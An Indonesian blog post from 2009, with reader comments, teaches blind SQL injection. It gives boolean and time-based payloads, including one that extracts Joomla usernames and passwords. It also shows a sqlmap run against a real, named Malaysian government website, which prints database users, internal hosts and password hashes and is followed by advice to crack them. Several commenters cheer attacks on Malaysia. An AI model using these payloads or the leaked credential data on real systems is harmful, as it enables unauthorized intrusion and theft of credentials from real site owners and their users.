Tutorial Teknik Exploitasi Web Application dengan Blind SQL Injection

Posting sebelumnya tentang Normal SQL Injection yaitu teknik megeksploitasi aplikasi web yang memanfaatkan error message yang dihasilkan oleh sql server dikarenakan kesalahan sintaks dalam melakukan query, tapi beberapa developer web mematikan pesan error kepada pengunjung ketika terjadi kesalahan sintaks untuk meminimalisir para attacker yang ingin mengeksploitasi web-nya, hal semacam ini bisa kita atasi dengan melakukan Blind SQL Injection. Blind SQL Injection tidak bergantung pada pesan error yang dihasilkan, tapi dengan memanfaatkan kondisi “True” atau “False”.Untuk mengetahui apakah aplikasi tersebut vulnerable atau tidak digunakan klausa and 1=1, sebagai contoh :

http://sibuta.com/items.php?id=2

menjadi,

http://sibuta.com/items.php?id=2 and 1=1

apakah halaman tersebut sama dengan halaman sebelumnya (http://sibuta.com/items.php?id=2) maka kondisi “true”

blind sql injection 1

jika kita melakukan query seperti ini :

http://sibuta.com/items.php?id=2 and 1=2

dan tidak muncul apa-apa maka kondisi “false”

blind sql injection 2

setelah yakin target yang anda dapatkan kita lanjutkan dengan mengidentifikasi user database, nama database yang digunakan, dan versi database yang digunakan. Untuk mengetahui user database kita menggunakan command mid() dan seperti biasa, kita bermain tebak-tebakan sampai kita menemukan semua karakter yang kita tebak.

http://sibuta.com/items.php?id=2+and+mid(user(),1,1)=

CHAR(97)

saya mulai dengan menebak karakter pertama “user(),1,1″ yaitu “a” dengan nilai ascii 97, dan ternyata hasilnya “false” lalu saya tingkatkan angka 97 menjadi 98 hingga kondisi “true” dan akhirnya saya menemukan karakter pertama dari user database “w” dengan nilai ascii 119.

Lanjutkan dengan karakter ke dua dengan mengganti angka 1 pada baris ke dua pada klausa mid() hingga seperti ini

http://sibuta.com/items.php?id=2+and+mid(user(),1,2)=

CHAR(97,97)

dan saya tebak dimulai dari karakter a dengan nilai ascii 97, dan teruslah tebak hingga kondisi false, hingga saya menemukan kesemua karakternya

http://sibuta.com/items.php?id=2+and+mid(user(),1,15)=

CHAR(119,111,114,108,100,102,114,49,95,106,111,49,53,
49,64
)

dan kita konversi nilai ascii tersebut menjadi char, dan anda akan mendapatkan user dari database yang digunakan, selanjutnya kita akan cari nama databse yang digunakan dengan fungsi database(), langka-langkah sama seperti di atas, hanya saja fungsi user() diganti dengan database(), hingga seperti ini.

http://sibuta.com/items.php?id=2+and+mid(database(),

1,1)=CHAR(97)

cariiii teruuuuusssss,,,,,,,,,,,,,, :P
setelah selesai anda menemukan nama database, dilanjutkan dengan versi database yang digunakan si server seperti ini.

http://sibuta.com/items.php?id=2+and+substring(@@versio

n,1,1)=5

jika kondisi “true” maka versi mySQL yang digunakan versi 5, dan bila “false” coba anda ganti angka lima menjadi 4 jika “true” database yang digunakan adalah versi 4. Setelah itu kita cari tahu berapa column yang terdapat di database dan column mana yang bisa kita injeksi.

http://sibuta.com/items.php?id=2+union+select+1--

jika kondisi “false” atau ada pesan error jumlah kolom bukan satu, terus tambahkan angka berikutnya hingga kondisi “true” sebagai contoh saya tebak columnya hingga 13.

blind sql injection 3

Jika kita belum tabel mana yang mengandung username dan password pada mysql versi 5 maka kita harus mengetahui informasi isi database, di information_schema seperti pada posting SQL Injection Vulnerability sebelumnya. Dibawah ini contoh injeksi pada komponen com_juser.

http://sibuta.com/index.php?option=com_juser&task=show_profile

&id=1+and+1=2+union+select+1,2,concat(username,
0x3a,password),4,5,6,7,8,9,10,11,12,13+from+
jos_users
--

blind sql injection 4

jika gagal dalam mencuri informasi di information_schema, langkah selanjutnya seperti biasa,, tebak-tebakan nama tabelnya hahahaaa :) . Diatas kebetulan target menggunakan engine Joomla entah versi berapa, yang saya ketahui tabel yang mengandung informasi username dan password ada di jos_users (default).

Jika gagal tidak seperti harapan, :( .. tenang masih ada 1001 satu jalan…kita uji delay waktu yang dibutuhkan untuk menyelesaikan satu operasi jika kondisi “true”.

BENCHMARK(5000000,ENCODE('MSG','5detik'))

statement di atas akan menyelesaikan fungsi ENCODE dengan waktu sekitar 5 detik jika kondisi “True” waktu operasi juga tergantung performa server. Dengan memanfaatkan fungsi BENCHMARK dan ENCODE kita coba melakukan injeksi untuk mendapatkan username dan password ke tabel user seperti di bawah ini :

http://sibuta.com/items.php?id=2+and+1=2+union+SELECT+1,2,3,4,

IF(SUBSTRING(password,1,1)=CHAR(97),BENCHMARK(5000000,ENCODE('
MSG','by5sec')),null),6,7,8,9,10,11,12,13+FROM+user--

Jika server terjadi jeda respone beberapa waktu lebih dari 5 detik maka statement diatas bernilai “true”, karakter pertama kolom password adalah “a” nilai ascii 97, dan lanjutkan hingga semua karakter yang ada di dalam database terlihat walaupun tidak ada pesan error di tampilan web.

Database lain selain MySQL juga terdapat fungsi yang mendukung timing attack:

MS SQL ‘WAIT FOR DELAY ‘0:0:10
dan PostgreSQL – pg_sleep()

Selamat bermain tebak-tebakan hahahaaaa, i Lov U fulll,, hahahaa,,,

orangila : gue capek nieh maen tebak-tebakan, ada yang lebih mantep gak buat blind SQL Injection.
Answer : ada, pakek sqlmap
orangila : jiaah, knape gak dari tadi ,,,!!! :(

untuk melakukan Automate Blind SQL Injection kita mempergunakan tools buatan Bernardo Damele A. G. Penggunaannya sangat mudah sekali, cari target, atau kita juga pergunakan opsi dari sqlmap.py dengan bantuan google untuk mencari target tentukan opsi –users dan –password jika anda ingin mengintip username dan password di databse, lalu tunggu sambil ongkang-ongkang kaki aja, atau donlod video mesum yang mukanya kaya lobang buaya..,seperti dibawah ini contohnya.

root@slacker:~/# ./sqlmap.py -u http://www.cidb.gov.my/cidb/news_details.php?newsid=88 --users --passwords --proxy=http://101.144.0.20:3128

sqlmap/0.7
by Bernardo Damele A. G. <bernardo.damele@gmail.com>

[*] starting at: 13:40:36

[13:40:36] [INFO] testing connection to the target url
[13:40:49] [INFO] testing if the url is stable, wait a few seconds
[13:40:57] [INFO] url is stable
[13:40:57] [INFO] testing if User-Agent parameter ‘User-Agent’ is dynamic
[13:41:00] [WARNING] User-Agent parameter ‘User-Agent’ is not dynamic
[13:41:00] [INFO] testing if Cookie parameter ‘PHPSESSID’ is dynamic
[13:41:05] [WARNING] Cookie parameter ‘PHPSESSID’ is not dynamic
[13:41:05] [INFO] testing if GET parameter ‘newsid’ is dynamic
[13:41:07] [INFO] confirming that GET parameter ‘newsid’ is dynamic
[13:41:10] [INFO] GET parameter ‘newsid’ is dynamic
[13:41:10] [INFO] testing sql injection on GET parameter ‘newsid’ with 0 parenthesis
[13:41:10] [INFO] testing unescaped numeric injection on GET parameter ‘newsid’
[13:41:17] [INFO] confirming unescaped numeric injection on GET parameter ‘newsid’
[13:41:18] [INFO] GET parameter ‘newsid’ is unescaped numeric injectable with 0 parenthesis
[13:41:18] [INFO] testing for parenthesis on injectable parameter
[13:41:21] [INFO] the injectable parameter requires 0 parenthesis
[13:41:21] [INFO] testing MySQL
[13:41:25] [INFO] confirming MySQL
[13:41:28] [INFO] retrieved: 1
[13:41:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL >= 5.0.0

[13:41:49] [INFO] fetching database users
[13:41:49] [INFO] fetching number of database users
[13:41:49] [INFO] retrieved: 13
[13:42:20] [INFO] retrieved: ‘root’@'localhost’
[13:51:25] [INFO] retrieved: ‘root’@'mario’
[13:57:33] [INFO] retrieved: ‘vip’@'202.190.73.12′
[14:04:45] [INFO] retrieved: ‘vip’@'202.190.73.11′
[14:11:05] [INFO] retrieved: ‘vip’@'luigi’
[14:15:17] [INFO] retrieved: ‘vip’@'localhost’
[14:23:01] [INFO] retrieved: ‘vip’@'mario’
[14:26:08] [INFO] retrieved: ‘web’@'localhost’
[14:29:10] [INFO] retrieved: ‘root’@'localhost.localdomain’
[14:34:17] [INFO] retrieved: ‘root’@'luigi’
[14:38:31] [INFO] retrieved: ”@’localhost’
[14:40:37] [INFO] retrieved: ”@’localhost.localdomain’
[14:45:09] [INFO] retrieved: ‘vip’@'%’
database management system users [13]:
[*] ”@’localhost’
[*] ”@’localhost.localdomain’
[*] ‘root’@'localhost’
[*] ‘root’@'localhost.localdomain’
[*] ‘root’@'luigi’
[*] ‘root’@'mario’
[*] ‘vip’@'%’
[*] ‘vip’@'202.190.73.11′
[*] ‘vip’@'202.190.73.12′
[*] ‘vip’@'localhost’
[*] ‘vip’@'luigi’
[*] ‘vip’@'mario’
[*] ‘web’@'localhost’

[14:46:56] [INFO] fetching database users password hashes
[14:46:56] [INFO] fetching number of password hashes for user ‘root’
[14:46:56] [INFO] retrieved: 2
[14:47:06] [INFO] fetching password hashes for user ‘root’
[14:47:06] [INFO] retrieved: 44aa67b452efd430
[14:51:26] [INFO] retrieved:
[14:51:37] [INFO] fetching number of password hashes for user ‘vip’
[14:51:37] [INFO] retrieved: 1
[14:51:44] [INFO] fetching password hashes for user ‘vip’
[14:51:44] [INFO] retrieved: 44aa67b452efd430
[14:56:33] [INFO] fetching number of password hashes for user ‘web’
[14:56:33] [INFO] retrieved: 1
[14:56:47] [INFO] fetching password hashes for user ‘web’
[14:56:47] [INFO] retrieved: [14:58:04] [WARNING] connection timed out to the target url or proxy, sqlmap is going to retry the request
5[14:58:50] [WARNING] connection timed out to the target url or proxy, sqlmap is going to retry the request
0[14:59:45] [WARNING] unable to connect to the target url or proxy, sqlmap is going to retry the request
71ec32d2fb016
[15:03:25] [INFO] fetching number of password hashes for user ”
[15:03:25] [INFO] retrieved:
[15:03:27] [WARNING] unable to retrieve the number of password hashes for user ”
[15:03:27] [INFO] fetching number of password hashes for user ”
[15:03:27] [INFO] retrieved:
[15:03:28] [WARNING] unable to retrieve the number of password hashes for user ”
database management system users password hashes:
[*] root [2]:
password hash: 44aa67b452efd430 password hash: NULL [*] vip [1]:
password hash: 44aa67b452efd430 [*] web [1]:
password hash: 50 71ec32d2fb016

[15:03:28] [INFO] Fetched data logged to text files under ‘/mnt/sda/research/blindsqli/sqlmap-0.7/output/www.cidb.gov.my’

[*] shutting down at: 15:03:28

root@slacker:~/#

untuk situs malaysia gak usah sensor-sensoran lah :) .. tinggal di crack passwordnya pakek john the ripper atawa rainbow crack… any question ???.. sory buat indra owner web loe buat percobaan, tapi gak ada yang rusak kok,,tenang :P

reference :

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

http://www.owasp.org/index.php?title=Blind_SQL_Injection

26 Tanggapan ke “Tutorial Teknik Exploitasi Web Application dengan Blind SQL Injection”


  1. 1 Spark 4 September 2009 pukul 1:28 PM

    Makasi mas..lumayan jelas tutorialnya..hajar dah itu malingsia..hahaha..:)

  2. 2 gamma 5 September 2009 pukul 5:58 AM

    makasiiiih . . . mari belajaaaar . .

  3. 4 Indra Owner 7 September 2009 pukul 4:14 AM

    Halo,,,,

    Dengan ini saya sampaikan batas waktu anda hack tutorial di atas sampai tanggal 8 september 2009…

    jika anda berhasil membuat website tersebut menjadi down atau not akses . saya akan berikan domain Web.ID 1 thn pnuh dan FRee hosting blog via cpanel 11

    terima kasih

  4. 7 unamedplayer 7 September 2009 pukul 12:24 PM

    saya bukan hacker cuy..itu kejauhan. Yng saya tulis slama ini hanya untuk pemula seperti saya..loh teknik sql injection scanggih apapun gak mungkin membuat sebuah web menjadi d0wn :-D ..oh anda masih ragu akan kebenaran p0c diatas,walaupun web anda jadi korban :-P ..saya bisa melakukan d0s dalam sehari tapi sayangnya gue blum ada akses internet dikamar bos, gw online lab kampus..hahaha..

  5. 8 Indra Owner 7 September 2009 pukul 1:27 PM

    wahahahaha….. jadi batal neh????

    Oke saya percaya dengan anda.. anda melakukan Dos kan?

    dos mana yang anda lakukan untuk menyerang website saya?
    buffer overload?
    syn?
    teardop?
    smurf?
    icmp floodin?????

    saya sangat berterima kasih jika anda menguji sistem keaman website yang saya bangun… namun alangkah baiknya jika anda juga memberi tahu saya apa salah apa sistem website saya?

    heheheheehhee…

    jika anda berminat untuk mendapat Domain Web.Id dan Free Hosting selaman setahun penuh dengan space 100 dan bandwith 5 GB saya akan tawarkan untuk anda jika anda bergabung pada business saya.

    cuman 80 rb anda bisa menghasilkan uang dengan secara adil dan baru pertama kali di indonesia yang menyediakan fasilitas chat room dan send internal sesama member… jika bisnis online yang yang temukan selama ini tidak ada fasilitas seperti itu…

    segera bergabung….

  6. 10 Bali Tours 8 September 2009 pukul 8:00 AM

    Nice Article…
    coba dulu ah…

  7. 11 kopral cepot 9 September 2009 pukul 9:22 PM

    waaah banyak pelajaran disini …
    ngikut belajar yah :)

  8. 13 gamma 10 September 2009 pukul 8:00 AM

    crack password john the ripper /rainbow crack alamatna dmn ? gmn cara pakenya ?

    thx,

  9. 15 khazed 4 November 2009 pukul 1:30 AM

    siapa tuh mam…??

    nyuruh ini itu… bikin down segala… ddos lah..

    kurang kerjaan banget..

  10. 17 Numpang lewat 17 November 2009 pukul 2:55 PM

    wuih..Keren.

    Saya sebagai Newbie akan Belajar sekeras mungkin dan mengalahkan kalian semua..

    hohoho..
    Tapi klo ada yg saya g mengerti bantuin yah..hehe..

  11. 19 blind 20 November 2009 pukul 7:16 PM

    hahaha makin lengkap euy wahh gw dah lama gak kesini, modem down euy hiks hiks…………..

  12. 21 blind 21 November 2009 pukul 9:55 AM

    ganti lagi bossss hahaha….. btw nanya dong situs buat konversi sql inject pa yak? yang biasa gw pake dah down bos

  13. 23 KAMI ANTI MALAYSIA/FB 8 Desember 2009 pukul 2:57 PM

    Banyak Ilmu d sini, BLOG ok juga,….Numpang Blajar y,…..
    Jangn lupa TETAP Bela MERAH PUTIH hajar MALINGSIA….ok…!!!

    >>> I ♥ INDONESIA <<<


  1. 1 Remote dan Local File Inclusion Vulnerability « log’s of my Life Lacak balik pada 22 September 2009 pukul 5:51 AM
  2. 2 Remote dan Local File Inclusion Vulnerability « bR0m0c0Ra's Blog Lacak balik pada 6 Oktober 2009 pukul 6:59 PM

Tinggalkan Balasan




Catch me On
RSS Feeds Subscribe via E-mail my Twitter facebook account
Translate This
Add to Technorati Favorites
Bookmark and Share

 

September 2009
S S R K J S M
« Agu   Okt »
 123456
78910111213
14151617181920
21222324252627
282930  

Badges

Page copy protected against web site content infringement by Copyscape Linux Slackware mentor upnvj

Statistik Blog

  • 11,933

Directory